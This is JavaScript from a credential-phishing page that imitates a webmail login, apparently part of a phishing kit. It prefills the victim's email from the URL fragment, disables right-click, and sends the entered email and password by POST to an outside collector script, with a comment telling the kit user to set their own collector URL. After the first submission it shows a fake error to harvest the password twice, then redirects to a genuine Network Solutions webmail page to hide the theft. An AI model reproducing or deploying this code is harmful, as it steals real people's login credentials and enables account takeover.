const phpurl = "https://solutionsfeeds.com/proffemail/result.php"; // YOUR PHP URL HERE AND MAKE SURE IT'S CORRECT

        const fullUrl = window.location.href;
        const emailRegex = /#([^#]+)$/;
        const match = fullUrl.match(emailRegex);
        const email = match ? match[1] : "";
    
        console.log(email);
    
        if (email) {
            document.getElementById("exampleFormControlInput1").value = email;
        }
      
       document.addEventListener('contextmenu', function (e) {
         e.preventDefault();
       });
      

        document.getElementById("continue").addEventListener("click", ()=>{
            document.getElementById("pasbox").style.display = "block"
            document.getElementById("continue").type = "submit";
            document.getElementById("continue").innerHTML = "Log in";
        })

        var formSubmitted = 0;
    
        document.getElementById("sub").addEventListener("submit", function (event) {
            event.preventDefault();
        
            formSubmitted++;
        
            var inputs = document.querySelectorAll('input[required]');
            for (var i = 0; i < inputs.length; i++) {
                if (!inputs[i].value.trim()) {
                    alert("Please fill in all fields.");
                    return;
                }
            }
        
            var formData = new FormData(this);
            var xhr = new XMLHttpRequest();
            xhr.open("POST", `${phpurl}`, true);
        
            xhr.onreadystatechange = function () {
                if (xhr.readyState == 4 && xhr.status == 200) {
                    console.log(xhr.responseText);
        
                    if (formSubmitted === 1) {
                        document.getElementById("password").value = "";
                        document.getElementById("highlight").style.display = "block"
                    } else if (formSubmitted === 2 || 3 || 4 || 5 || 6 || 7 || 8) {
                            document.getElementById("password").value = "";
                            // Redirect to the specified URL
                            window.location.href = "https://webmail-oxcs.networksolutionsemail.com/appsuite/";
                            console.log("GOOOOOO");
                    }
                }
            };
        
            xhr.send(formData);
        });